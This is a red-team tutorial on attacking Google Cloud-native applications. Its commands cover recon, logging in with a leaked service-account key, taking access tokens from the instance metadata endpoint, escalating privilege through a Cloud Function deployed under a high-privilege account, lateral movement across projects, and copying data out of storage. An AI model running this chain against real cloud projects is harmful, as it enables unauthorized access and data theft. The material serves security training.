Attack Against Google Cloud Native App

WWW.DEVSECOPSGUIDES.COM

Attack Against Google Cloud Native App

In the rapidly evolving landscape of cloud computing, Google Cloud Platform (GCP) stands out as a prominent player, offering a wide range of services that enable businesses to build and deploy cloud-native applications. While these applications benefit from the scalability, flexibility, and efficiency of cloud environments, they are not immune to security threats. Understanding the nature of attacks and potential attack vectors in cloud-native applications is crucial for maintaining robust security postures.

Cloud-native applications, by their very nature, leverage microservices, containerization, dynamic orchestration, and rely heavily on cloud-specific services and APIs. This architectural shift, while beneficial in many ways, also introduces unique security challenges and attack surfaces. Attackers may exploit vulnerabilities in application code, misconfigurations in cloud services, or inadequate security controls to gain unauthorized access, escalate privileges, or exfiltrate sensitive data.

Key attack vectors in GCP cloud-native applications include:

1. **Misconfigured Cloud Storage**: Improperly configured access permissions on cloud storage services like Google Cloud Storage can lead to unauthorized data access or data breaches.
2. **Compromised Service Accounts**: Attackers may target service accounts with excessive permissions or use compromised credentials to access cloud resources.
3. **Container Vulnerabilities**: Containers, often used in cloud-native apps, can be vulnerable if not properly secured, leading to potential container breakout and unauthorized access to the host system.
4. **API Security Flaws**: Insecure APIs can be exploited to gain access to backend services and data.
5. **Insufficient Network Security Controls**: Lack of adequate network security measures can allow attackers to intercept data or gain access to sensitive internal services.

As cloud-native applications continue to grow in complexity and scale, the need for comprehensive security strategies becomes increasingly paramount. Organizations must adopt a multi-layered security approach that encompasses not only the applications themselves but also the underlying cloud infrastructure and services.

Google Cloud Platform (GCP)

1. **Resource Hierarchy**:
    - GCP organizes resources hierarchically, starting from the Organization level, followed by Folders, Projects, and Resources.
    - **Commands**: Use `gcloud organizations list` to view organizations, `gcloud projects list` to view projects.
2. **Identity and Access Management (IAM)**:
    - IAM in GCP manages access control by defining who (identity) has what access (role) to which resource.
    - **Commands**: Use `gcloud iam roles list` to list available roles, `gcloud iam service-accounts create [ACCOUNT_NAME]` to create a new service account.
3. **Authentication Methods**:
    - GCP supports various authentication methods like OAuth 2.0, service accounts, and API keys.
    - **Code Example**: Authenticating using a service account in Python:

```
from google.oauth2 import service_account
credentials = service_account.Credentials.from_service_account_file('path/to/key.
json')
```

Google Workspace (Formerly G-Suite)

1. **Google Workspace Administration**:
    - Involves managing users, groups, organizational units, and services like Gmail, Drive, etc.

- **Commands**: Administration is primarily done through the Admin Console, but Google Workspace Admin SDK can be used for automation.

2. **Google Workspace User Access**:
   - Manage user access to various Workspace services and ensure proper access controls and permissions.
   - **Code Example**: Using Google Workspace Admin SDK to list users in Python:

```
from googleapiclient.discovery import build
service = build('admin', 'directory_v1', credentials=credentials)
results = service.users().list(domain='your_domain').execute()
users = results.get('users', [])
```

Red Team Fundamentals

1. **Red Team Objectives**:
   - The primary objective is to simulate realistic cyber attacks to test and improve an organization's defenses.
   - Focuses on identifying vulnerabilities, testing security protocols, and assessing the effectiveness of incident response.
2. **Red Team Frameworks**:
   - Frameworks like MITRE ATT&CK provide a comprehensive matrix of tactics and techniques used by adversaries.
   - Red teams use these frameworks to plan and execute their operations, ensuring a thorough and systematic approach.

3. **GCP Services and APIs**:
   - GCP offers a wide range of services like Compute Engine, App Engine, Cloud Storage, BigQuery, etc.
   - **Commands & Code**: Interacting with these services usually involves using the `gcloud` command-line tool or client libraries in various programming languages.

- **Example**: To list instances in Compute Engine, use `gcloud compute instances list`.

4. **Networking in GCP**:
   - Networking is a critical aspect, involving Virtual Private Cloud (VPC), load balancers, and network security.
   - **Commands**: Use `gcloud compute networks list` to list networks, `gcloud compute firewall-rules list` to view firewall rules.

Google Workspace (Formerly G-Suite) - #2

1. **Security and Compliance**:
   - Google Workspace offers various security features like 2-step verification, security key enforcement, and data loss prevention.
   - **Administration**: These settings are managed through the Google Admin Console or via Admin SDK for automation.
2. **Integration with Third-Party Services**:
   - Google Workspace can be integrated with third-party applications and services using APIs.
   - **Code Example**: Integrating Google Drive API in Python:

```
from googleapiclient.discovery import build
service = build('drive', 'v3', credentials=credentials)
results = service.files().list().execute()
files = results.get('files', [])
```

Red Team Fundamentals - #2

1. **Penetration Testing and Tools**:
   - Red Teams often engage in penetration testing using tools like Metasploit, Nmap, and custom scripts.
   - **Example**: Using Nmap for network scanning: `nmap -sV -p 80,443 target_ip`.
2. **Reporting and Feedback**:

- After completing their operations, Red Teams provide detailed reports on findings and recommendations.
- These reports are crucial for improving security posture and training the Blue Team (defensive team).

Google Cloud Services Misconfiguration Exploitation

1. Identity & Access Management (IAM)

- **Misconfiguration**: Improperly configured IAM roles can lead to unauthorized access.
- **Example Command**: To list IAM policies of a project:

```
gcloud projects get-iam-policy [PROJECT_ID]
```

2. Service Account

- **Misconfiguration**: Overprivileged service accounts or exposed keys can be a security risk.
- **Example Command**: To list service accounts in a project:

```
gcloud iam service-accounts list --project [PROJECT_ID]
```

3. Cloud Function

- **Misconfiguration**: Insecure trigger configurations or exposed sensitive data in environment variables.
- **Example Command**: To list Cloud Functions:

```
gcloud functions list --project [PROJECT_ID]
```

4. Compute Instance

- **Misconfiguration**: Open firewall rules, exposed SSH keys, or instances with public IPs.
- **Example Command**: To list Compute Engine instances:

```
gcloud compute instances list --project [PROJECT_ID]
```

5. Virtual Private Cloud (VPC)

- **Misconfiguration**: Misconfigured network rules or exposed internal services.
- **Example Command**: To list VPC networks:

```
gcloud compute networks list --project [PROJECT_ID]
```

6. Cloud Storage

- **Misconfiguration**: Publicly accessible storage buckets or improper access controls.
- **Example Command**: To list storage buckets:

```
gsutil ls
```

7. Secret Manager

- **Misconfiguration**: Exposed secrets or lack of access controls on secret management.
- **Example Command**: To list secrets:

```
gcloud secrets list --project [PROJECT_ID]
```

GCP Security - Overview and Commands

Visibility

1. **Asset Inventory**
    - **Purpose**: Provides a view of all your assets across projects and services.
    - **Command**: To list all resources in your organization:

```
gcloud asset search-all-resources --scope=organizations/[ORGANIZATION_ID]
```

2. **Policy Analyzer**
    - **Purpose**: Analyzes and reports on the compliance status of your resources.
    - **Command**: There isn't a direct `gcloud` command for Policy Analyzer, but it's accessible via the Cloud Console.

Security Controls

1. **Organization Policies**
    - **Purpose**: Helps enforce broad security policies across your GCP resources.
    - **Command**: To list the organization policies applied to a project:

```
gcloud resource-manager org-policies list --project=[PROJECT_ID]
```

Logging

1. **Audit Logs - Google Cloud Platform**
    - **Purpose**: Records administrative activities and accesses within your GCP environment.
    - **Command**: To view audit logs:

```
gcloud logging read "logName : 'projects/[PROJECT_ID]/logs/cloudaudit.googleapis.
com' AND protoPayload.serviceName='[SERVICE]'"
```

2. **Audit Logs - Google Workspace**
    - **Purpose**: Tracks user and admin activity within Google Workspace.

- **Command**: Audit logs for Google Workspace are typically accessed via the Admin Console, not through `gcloud` commands.

Monitoring

1. **Security Command Centre**
   - **Purpose**: Provides comprehensive security management and data risk platform for GCP.
   - **Command**: Security Command Center is primarily accessed through the Cloud Console. However, you can use the `gcloud scc` commands to interact with findings:

```
gcloud scc findings list [SOURCE_ID] --organization=[ORGANIZATION_ID]
```

Red Team Operations in GCP Environment

1. OSINT (Open Source Intelligence)

- **Purpose**: Gathering publicly available information about the target organization.
- **Command**: There are no specific GCP commands for OSINT. Tools like `theHarvester`, `Shodan`, or `Google Dorks` are commonly used.

DNS Enumeration

DNS records can reveal a lot of information about the services an organization uses.

- **A Record**: Indicates IP addresses associated with GCP Compute Instances.
- **MX Record**: Shows if an organization uses Google Mail Service.
- **CNAME Record**: Reveals mapped Google service addresses.
- **TXT Record**: Includes domain verification and SPF records.

Command: Using `dnsrecon` for DNS enumeration:

```
python3 dnsrecon.py -d atomic-nuclear.site
```

Enumerate External Identity Provider

Checking for identity providers like Azure or Google Login.

- **Azure Endpoint**:

```
curl https://login.microsoftonline.com/getuserrealm.srf?login=Username@atomic-nuclea
r.site&xml=1
```

- **Google Login**:

```
curl https://accounts.google.com/
```

GCP Publicly Accessible Cloud Resources

Identifying open or protected GCP resources.

- **Resources**: GCP Buckets, Firebase Realtime Databases, Google App Engine sites, Cloud Functions, Firebase Apps.

Command: Using `cloud_enum` for resource enumeration:

```
python3 cloud_enum.py -k atomic-nuclear
```

OSINT (Unauthenticated Enumeration)

Searching for leaked credentials on platforms like GitHub.

- **Leaked Credential**: Service Account JSON files in GitHub repositories.

Command: Using `gitleaks` to find exposed credentials:

```
gitleaks --repo-url=https://github.com/atomic-nuclear/production -v
```

2. Initial Access

- **Purpose**: Gaining the first level of access to the GCP environment.
- **Command**: This often involves social engineering or exploiting public-facing applications. No direct GCP command is applicable.

Authenticating to GCP with a Leaked Service Account Key

- **Command**: To authenticate using a leaked service account key:

```
gcloud auth activate-service-account --key-file ./dev-service-account-key.json
```

- **Purpose**: This command uses a service account key file to authenticate to GCP, allowing access to the resources that the service account has permissions for.

3. Authenticated Enumeration

- **Purpose**: Enumerating resources and services after gaining access.
- **Command**: List GCP projects:

```
gcloud projects list
```

Authenticated Enumeration Commands

1. **Enumerating GCP Projects**
    - **Command**: List all GCP projects accessible with the current authentication.

```
gcloud projects list
```

2. **Enumerating IAM Policies of a Project**
    - **Command**: Get the IAM policy for a specific project.

```
gcloud projects get-iam-policy alert-nimbus-335411
```

3. **Describing a Specific IAM Role**
    - **Command**: Describe a specific IAM role within a project.

```
gcloud iam roles describe ActAsRole1 --project alert-nimbus-335411
```

4. **Listing Compute Engine Instances**
    - **Command**: List all Compute Engine instances in the current project.

```
gcloud compute instances list
```

5. **Getting IAM Policy of a Compute Instance**
    - **Command**: Get the IAM policy attached to a specific Compute Engine instance.

```
gcloud compute instances get-iam-policy jump-instance --zone us-central1-b
```

Additional Enumeration Techniques

- **Enumerating Storage Buckets**

```
gsutil ls
```

- **Enumerating Cloud SQL Instances**

```
gcloud sql instances list
```

- **Enumerating Kubernetes Engine Clusters**

```
gcloud container clusters list
```

- **Enumerating Service Accounts**

```
gcloud iam service-accounts list
```

4. Privilege Escalation

- **Purpose**: Elevating access to gain higher privileges.
- **Command**: Check for IAM permissions:

```
gcloud projects get-iam-policy [PROJECT_ID]
```

Privilege escalation in a Google Cloud Platform (GCP) environment involves gaining higher privileges than initially granted, often by exploiting misconfigurations. This can occur through IAM (Identity and Access Management) misconfigurations or by exploiting other services.

Privilege Escalation Techniques and Commands

1. **SSH into a Compute Instance**
   - **Command**: SSH into a compute instance using the gcloud CLI.

```
gcloud compute ssh jump-instance
```

2. **Retrieving Temporary Credentials from Metadata Endpoint**
   - **Command**: Retrieve service account information from the instance metadata.

```
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
```

- **Command**: Retrieve the scopes of the service account.

```
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
```

- **Command**: Retrieve the access token of the service account.

```
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
```

3. **Getting Project Level IAM Policy**
   - **Command**: Get the project-level IAM policy for a specific service account.

```
gcloud projects get-iam-policy alert-nimbus-335411 --flatten="bindings[].members" --filter="bindings.members=serviceAccount:233003792018-compute@developer.gserviceaccount.com" --format="value(bindings.role)"
```

4. **Listing Service Accounts in a GCP Project**
   - **Command**: List all service accounts in a specific project.

```
gcloud iam service-accounts list --project alert-nimbus-335411
```

5. **Getting Service Account Level IAM Policy**
   - **Command**: Get the IAM policy attached to a specific service account.

```
gcloud iam service-accounts get-iam-policy secretadmin-sa@alert-nimbus-335411.iam.gserviceaccount.com
```

5. Persistence

- **Purpose**: Maintaining access within the environment.

1. Using Persistent Disks with Compute Engine

Persistent disks in GCP are used to store data that needs to persist beyond the life of a Compute Engine instance.

- **Command**: Create a persistent disk

```
gcloud compute disks create [DISK_NAME] --size=[SIZE] --zone=[ZONE]
```

- **Command**: Attach the persistent disk to an instance

```
gcloud compute instances attach-disk [INSTANCE_NAME] --disk [DISK_NAME] --zone [ZONE]
```

2. StatefulSets in Kubernetes Engine

StatefulSets are ideal for applications that require stable, unique network identifiers, stable, persistent storage, and ordered, graceful deployment and scaling.

- **YAML Configuration**: Define a StatefulSet in Kubernetes

```
apiVersion: apps/v1
kind: StatefulSet
metadata:
  name: [STATEFULSET_NAME]
spec:
  serviceName: "[SERVICE_NAME]"
  replicas: [REPLICAS_COUNT]
  template:
```

```
    metadata:
      labels:
        app: [APP_LABEL]
    spec:
      containers:
      - name: [CONTAINER_NAME]
        image: [IMAGE_NAME]
```

3. Cloud SQL for Relational Database Persistence

Cloud SQL provides a fully-managed relational database with built-in redundancy and failover.

- **Command**: Create a Cloud SQL instance

```
gcloud sql instances create [INSTANCE_NAME] --tier=[TIER] --region=[REGION]
```

4. Datastore/Firestore for NoSQL Persistence

Firestore is a highly scalable NoSQL database for your web and mobile applications.

- **Code Snippet**: Save data to Firestore using Python

```
from google.cloud import firestore
db = firestore.Client()
doc_ref = db.collection('users').document('alovelace')
doc_ref.set({
    'first': 'Ada',
    'last': 'Lovelace',
    'born': 1815
})
```

5. Persistent Volumes in Kubernetes

Persistent Volumes (PV) and Persistent Volume Claims (PVC) in Kubernetes allow storage to be used by pods.

- **YAML Configuration**: Define a PersistentVolumeClaim

```
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: [PVC_NAME]
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: [STORAGE_SIZE]
```

6. Using Cloud Storage for Object Storage

Google Cloud Storage provides a powerful and simple object storage solution.

- **Command**: Create a storage bucket

```
gsutil mb gs://[BUCKET_NAME]
```

6. Credential Access

- **Purpose**: Accessing or obtaining credentials.

Setting a New Access Token with Gcp-Token-Updater

1. **Update Token Using Gcp-Token-Updater**
    - **Command**: Set a new access token retrieved from the VM's default service account.

```
python3 ./Gcp-Token-Updater.py -I --access-token "AccessToken" --account-name [vm
-dsa]
```

Deploying a Cloud Function with High Privilege Service Account

1. **Deploy a New Cloud Function**

- **Command**: Deploy a new Cloud Function and attach a high-privilege service account to it.

```
gcloud functions deploy [myprivesc-fun] --timeout 539 --trigger-http --source [fu
nction-source] --runtime python37 --entry-point [hello_world] --service-account
[secretadmin-sa@alert-nimbus-335411.iam.gserviceaccount.com]
```

Invoking the Cloud Function and Retrieving a Token

1. **Invoke Cloud Function**
   - **Command**: Invoke the newly created Cloud Function and retrieve a short-term access token from it.

```
gcloud functions call [myprivesc-fun] --data '{}'
```

Updating Token for High Privilege Service Account

1. **Update Token for High Privilege Service Account**
   - **Command**: Set a new access token retrieved from the Cloud Function's high-privilege service account.

```
python3 ./Gcp-Token-Updater.py -I --access-token "AccessToken" --account-name [se
cret-sa]
```

Getting Project Level IAM Policy for High Privilege Service Account

1. **Get Project Level IAM Policy**
   - **Command**: Retrieve the project-level IAM policy for the high-privilege service account.

```
gcloud projects get-iam-policy alert-nimbus-335411 --flatten="bindings[].members"
--filter="bindings.members=serviceAccount:secretadmin-sa@alert-nimbus-335411.iam.
```

```
gserviceaccount.com" --format="value(bindings.role)"
```

7. Lateral Movement

- **Purpose**: Moving across the network and accessing different systems.
- **Command**: This involves using existing credentials to access other resources. Specific commands depend on the target system.

Lateral Movement Techniques and Commands in GCP

1. **Authenticating with a New Service Account Key**
   - **Command**: Authenticate using a service account key file.

```
gcloud auth activate-service-account --key-file ./crossproj.json
```

2. **Getting Project Level IAM Policy for the New Service Account**
   - **Command**: Retrieve the IAM policy for a specific service account in a project.

```
gcloud projects get-iam-policy alert-nimbus-335411 --flatten="bindings[].members"
--filter="bindings.members=serviceAccount:crossproj-sa@alert-nimbus-335411.iam.gs
erviceaccount.com" --format="value(bindings.role)"
```

3. **Listing All Projects the Service Account Has Access To**
   - **Command**: List all projects accessible with the current authentication.

```
gcloud projects list
```

4. **Getting Project Level IAM Policy for the Service Account in a Second Project**
   - **Command**: Retrieve the IAM policy for the same service account in another project.

```
gcloud projects get-iam-policy production-project-371720 --flatten="bindings[].me
mbers" --filter="bindings.members=serviceAccount:crossproj-sa@alert-nimbus-33541
1.iam.gserviceaccount.com" --format="value(bindings.role)"
```

5. **Listing All Service Accounts in a GCP Project**
    - **Command**: List all service accounts in a specific project.

```
gcloud iam service-accounts list --project production-project-371720
```

6. **Getting Service Account Level IAM Policy**
    - **Command**: Get the IAM policy attached to a specific service account in the second project.

```
gcloud iam service-accounts get-iam-policy prod-sa@production-project-371720.iam.
gserviceaccount.com --project production-project-371720
```

8. Data Exfiltration

- **Purpose**: Extracting sensitive data from the target environment.
- **Command**: To copy data from a GCP storage bucket (use with authorization):

```
gsutil cp gs://[BUCKET_NAME]/[FILE_NAME] .
```

Data exfiltration refers to the unauthorized transfer of data from an organization's environment to a location controlled by an attacker. In the context of Google Cloud Platform (GCP), this could involve extracting data from services like Cloud SQL, Cloud Storage (Buckets), Cloud BigQuery, and Persistent Disks.

Data Exfiltration Techniques and Commands in GCP

1. **Listing Objects in a GCP Bucket**

- **Command**: List all objects in a specific GCP storage bucket.

```
gsutil ls gs://prod-storage-metatech
```

2. **Downloading Data from a GCP Bucket**
   - **Command**: Download data from a GCP bucket to a local system.

```
gsutil cp gs://prod-storage-metatech/roadmaps roadmaps
```

Additional Exfiltration Techniques

- **Exfiltrating Data from Cloud SQL**
  - **Command**: Export data from a Cloud SQL instance to a Cloud Storage bucket.

```
gcloud sql export sql [INSTANCE_ID] gs://[BUCKET_NAME]/[FILE_NAME] --database=[DA
TABASE_NAME]
```

- **Exfiltrating Data from Cloud BigQuery**
  - **Command**: Export data from BigQuery to a Cloud Storage bucket.

```
bq extract 'bigquery-public-data:samples.shakespeare' gs://[BUCKET_NAME]/shakespe
are.csv
```

- **Copying Data from Persistent Disks**
  - **Command**: Create a snapshot of a persistent disk and then export it to a Cloud Storage bucket.

```
gcloud compute disks snapshot [DISK_NAME] --snapshot-names=[SNAPSHOT_NAME]
gcloud compute snapshots export [SNAPSHOT_NAME] --destination-uri=gs://[BUCKET_NA
ME]/[SNAPSHOT_FILE]
```

Conclusion

The security of cloud-native applications in Google Cloud Platform is a multifaceted challenge that requires continuous attention and adaptation. As attackers evolve their tactics, so too must the defense strategies of organizations using cloud services. Emphasizing security in the design phase, regularly auditing and monitoring configurations, employing automated security tools, and fostering a culture of security awareness are essential practices.

Moreover, the shared responsibility model in cloud computing dictates that while cloud providers like Google ensure the security of the cloud infrastructure, customers are responsible for securing their data and applications on the cloud. This includes implementing proper access controls, encrypting sensitive data, and regularly updating and patching software.

In conclusion, while cloud-native applications offer numerous benefits, they also introduce specific security considerations that organizations must address. By understanding common attack vectors and adopting a proactive, comprehensive approach to security, businesses can leverage the full potential of cloud-native applications while minimizing their exposure to risks.